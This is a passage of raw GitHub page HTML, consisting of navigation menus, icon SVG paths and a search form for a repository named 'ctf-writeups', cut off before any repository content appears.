0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="YYoZenZLYTKPHu1H4WuuPICbJS2sHSbBWhI14R+txI/HIkfnShAVDZq3js9zwhqru8zP+IX0ZsuljVXvsapJZw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 